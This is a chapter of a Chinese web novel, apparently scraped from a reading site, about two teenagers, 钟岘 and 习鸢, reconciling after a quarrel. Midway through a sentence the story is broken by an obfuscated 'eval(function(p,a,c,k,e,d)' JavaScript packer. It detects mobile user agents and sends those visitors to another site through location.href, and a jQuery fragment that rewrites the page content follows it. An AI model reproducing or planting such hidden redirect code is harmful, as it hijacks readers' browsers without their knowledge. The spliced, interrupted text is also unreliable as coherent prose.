41. 疯了

作品:《登陆葡萄岛计划

    自从五一那次争吵过后,钟岘的手机好像就“死”了。


    从前,几乎是每一天他的手机都要被炮轰“叮叮”响好几次。但现在,手机安静得要命。


    钟岘养成了一个很不好的习惯,做作业做到一半,他就控制不住地看向一旁的手机,眼睛一眨不眨地盯着那黑黑的屏幕,其实脑海里什么都没有想,真的,他知道她肯定是不会再发信息给他的,但是……他就是控制不住自己的行为。


    “叮。”


    手机响了一下,他立马捧起来,发现只是娱乐信息的推送后,他眼睛霎时黯淡了下去。


    呵。


    钟岘自嘲,他到底在想什么?到底……在妄想什么?


    钟岘将那部手机给锁了起来,他认为只要把手机锁起来,他就不会再“痴心妄想”。


    7月27,钟岘终究还是没有忍住。


    他将手机拿了出来,充上电,点进那个没有备注名的聊天页面,指尖僵硬地敲下四个字,却怎么也不敢把这句话发出去。


    从白天到黑夜,钟岘看着那四个字,看着那个海绵宝宝头像,许久许久,一直到过了零点,27号这一天彻底过去,钟岘浑身冷到发颤。


    算了。


    他颓丧地再次关机。


    既然都发誓要远离她了,那就应该离得远远的,不要去看,不要去打扰才对。


    日子不咸不淡,宛如平静的湖面,没有风没有阳光,激不起一点波澜。


    直到八月末,暑假即将过去的最后三天。


    钟岘回到家还没进家门,他嗅到了一抹淡淡的幽香。


    他浑身一怔,不敢相信地抬头看去,那一刻,他只觉得世界疯了,自己疯了,她……也疯了。


    为什么……为什么还要出现?明明……明明我都那样伤害你了……


    她看了过来,三个月,整整120天,她又长高了,整个人更像一株茁壮的小白杨,她的眼神没有往日的笑意,但也没有那日的冰冷。


    “气够了吗?冷战冷够了吗?够了话,我们好好谈谈吧。”


    几乎是她话音落地的一瞬间,钟岘眼眶湿润。


    他不理解习鸢的执拗,也不理解此刻自己为什么心脏会泛酸眼睛想流泪。


    “……天使是上帝奖励每一位小孩的守护神,她是你赶都赶不走的哦。”


    这一次,这一天,这一刻,钟岘清楚看见习鸢的背后长出了一双洁白的羽翼,没有转瞬即逝,而是一直存在。


    …


    风轻轻,裹着淡淡的青草香,天空蔚蓝没有一丝云,不远处是一座直插云霄的高山。


    习鸢和钟岘坐在草地上,两人之间隔着差不多可以站在5个成年男性的距离。


    “这山可真高,有名字吗?”习鸢率先打破凝静。


    “梨苏。”钟岘简练回答。


    “梨苏?”习鸢重复呢喃了一遍,不知道为什么这两个字组合到一块让她心里浮起一丝丝怪异熟悉的感觉,但是她很确定,自己此前从没听过也没去过一座“梨苏”的山,“这名字……蛮好听的。”


    钟岘悄悄用余光瞟了她一眼,很快收回,低声“嗯”了一声。


    又是一段长久的缄默。


    “听于奶奶和赵叔叔说,你这学期成绩下降得厉害。"


    钟岘低垂着头,没有应答。


    “你现在不练体育和奥数,一整天都在干什么呢?”


    “没干什么。就看看天,看看云,看看太阳东升西落。”钟岘折断手中的草茎,回答得有些漫不经心。


    习鸢扭头看向他,三个月,她不发消息,他也就真的从来没有主动联系过她,就连她过生日,他一句生日祝福都没有,习鸢那晚气了好久,一气之下又把钟岘拉黑了,并且发誓自己绝对!不要!再理这个“白眼狼”。


    可是,第二天一醒她就又后悔了。


    她想起了五一那天,钟岘跟自己说那些话时眼睛一直失焦没有看自己,他像一名合格又不合格的演员,自顾没有感情地把早就排练好了的话完美背诵了出来。可即使是这样,钟岘的话也是实实在在地伤害到了她,他在手机上说的那些话她不是没有一点感觉,她也会生气,但是她更担心的是他遇到了什么不好的事情才会说出那些气话。书上说进入青春期最显著的一个特点之一就是情绪的不稳定性,加上钟岘的脾气本身就是个喜欢把事情闷在心里,惯爱口是心非,所以她每次看到那些气人的话,她都会强逼自己冷静几天再回复,这样不会伤害到他。她一心为他着想,换来的却是他面对面的言语伤害。


    她脾气不好惹,如果换做其他人敢这样和她说话,她早就拉黑了,只因为那是钟岘,是她曾经无意识“伤害”过的人,所以她对他总是多了几分特殊,但是!这不代表他就可以伤害她。


    到机场候机时,她毫不犹豫就把钟岘的所有联系方式全都拉进了黑名单里,她用力抹去眼角沁出的泪花,告诫自己不能为这样的人哭泣,他不配,钟岘他不配!他居然又骂自己多管闲事,好啊,既然人家又一次嫌弃她了,她习鸢才不是死缠烂打的人,绝对绝对绝对不会再来找这个混蛋一次!她满心欢喜地过来,却是这样一个结果,习鸢觉得自己可笑极了,同时,她也真的是看不懂钟岘的每一个骚操作,明明是你用那样的话来伤害我,为什么又要跑来机场露出那样委屈无辜又乞求的眼神,什么意思?难不成还希望我跑过去再哄你?呸!见鬼去吧,我习鸢不要面子的吗?滚蛋,我这辈子,下辈子,下下辈子我都不要再看见你!!


    习鸢一回去就把那盏“破”风铃给扔进了垃圾桶,然后回到房间趴到床上,忍了一路的眼泪终于再也忍不住,嚎啕大哭起来。祈繁芜和习常春都被习鸢吓了一跳,他们连忙哄习鸢,奈何习鸢什么都不愿意说,只是一味地抱住祈繁芜哭。


    习常春问她:“是不是钟岘惹你生气了,好七七别哭,爸爸帮你说他,好不好?”


    “不好,不好……”习鸢哭得一抽一抽的,她也不知道自己到底在“不好”什么,反正就是不好,什么都不好,五月的漓城天气不好,钟岘不好,全世界都不好。


    冷静又较劲了整整一个月,习鸢有天问祈繁芜,她的那盏风铃呢?


    祈繁芜说:“你不是说不要再看见那盏风铃了吗?我已经扔掉了。”


    “扔掉了?”习鸢瞬间就炸了,“妈妈你扔哪了?”


    “垃圾桶啊,你不会还想拾回来吧?希望不大了,我早一个月前就扔掉了,可能早就变成垃圾了。”


    习鸢一时之间又慌又急还有点莫名想哭,话都说不出来了。


    祈繁芜看她,“怎么?生气了?”


    “没有。”习鸢说着违心的话,“我出门训练了。”


    她早早出门,路过小区垃圾桶时还是忍不住去看了看,祈繁芜说得对,一个月前的垃圾了,早就不知道被运到哪个垃圾场成为什么废品了。


    就这样,钟岘留下的最后一丁点痕迹也没有了。


    习鸢也不清楚自己心里为什么会难过,很难过。


    晚上回到家,她发现自己房间书桌前正挂着一盏风铃,在灯光下晕出炫彩的流光。


    祈繁芜告诉她:“知道你在意,没扔呢。”


    习鸢一下又想哭了,她转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410838|196699||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身抱住祈繁芜。


    祈繁芜拍拍她的背:“遇到事情我们就去解决事情,逃避是没有用的。如果你还是放心不下,就还是去看看,当面说清楚,即便最后的结果不是我们想要的,但是至少我们努力过了呀,是不是?”


    就是这一句话,似乎一下子就把习鸢点醒了。


    她下定决心来再见见钟岘,就像妈妈说的,努力过不给自己留下遗憾才对。她特意选在了离开学的最后三天,她逼自己,逼钟岘,给两人都不留过多的时间和后路。


    习鸢对着钟岘有些伤痕的侧脸,郑重:“到漓城来吧,到漓城读书。”


    到漓城,到我的身边,我会保护你,不再受到伤害。


    这是习鸢想了很久,想到最好的能够让钟岘健康长大,同时又能让自己放心的办法。


    于霞说,钟岘刚来这边学校过得不太好,当地小孩看他小小一个,成绩好,还是外地人,就会联起手欺负他。钟岘根本不想与他们发生冲突,因为他知道自己还手的话会连累到于霞和赵耀国。直到有一次,那帮小孩子抢他的手机,钟岘终于发怒还手了回去,可最后手机屏幕还是坏了,钟岘找了好几家手机店才修好,但还是丢失了里面的一部分信息。


    钟岘拧草茎的动作微微顿住,半晌,他嗓音哑哑地说:“那不是我的故乡。”


    “那哪里才是你的故乡?”


    钟岘望着不远处的梨苏山,“云安,西南一个很小很漂亮的地方。”


    “你想回云安?”


    “不,”钟岘松开手,手中的草茎掉在了地上,没入青草地里,“那里同样没有我回去的理由。”


    这是习鸢第一次听钟岘提起他的过去,他的故乡,她还想问再多些,钟岘却已经站起了身,语气冷淡地说:“回去吧,习鸢,回到你该待着的地方,别再,管我了。”


    习鸢望着他瘦弱单薄的背影,喃喃:“如果能不管,我早就在十岁那年,就不管你啊,笨蛋。”


    …


    习鸢呆了两天,期间她找钟岘说了很多很多话,但显然钟岘没有听进去,而且这个坏蛋家伙居然还学会“躲猫猫”这一招。


    30号上午,钟岘刚开始卧室的门要出去。


    “你要去哪?”


    一道清冷微哑的声音突然从背后传来,钟岘脚步一顿,他循声望去,只见饭桌旁有一个身影,正眸光犀利地盯着他。


    此时才五点多一点点,天空的东边泛出一丝丝霞光。


    于霞和赵耀国还没有醒,习鸢是回酒店睡的,她这个点怎么会出现在这里,除非……


    “跟我过来。”


    钟岘整个人都是懵的,他像个木偶一般被习鸢牵住机械地往前走,身体本能的反应快过他的理智,他还没反应过来,手已经在慢慢回握住习鸢的手,差点就要碰到她的手背,钟岘霎时惊醒,他在干什么?他想要干什么?不是都说了要远离她的吗?他的这个举动是要干什么?


    但……如果这次不握,他这辈子……是不是都……不会再有机会了?


    钟岘看着她的手,矛盾撕裂着,一方面,他清醒认知到自己要“推开”习鸢,推得越远越好,这样她才会越来越好;可是另一方面……他本能地、根本控制不住地想要靠近她,汲取她身上让人发烫发颤的温度。


    最后,钟岘还是没有回握,他伸开手掌,拼命贪婪地感受着她掌心的温度。


    她一定不会知道此刻的他有多“龌龊”。


    他多想这份温度可以烙进他体内,和他的血液融为一体,成为他血肉里的一部分,这样,是不是也算另一种意义上的“永远在一起”?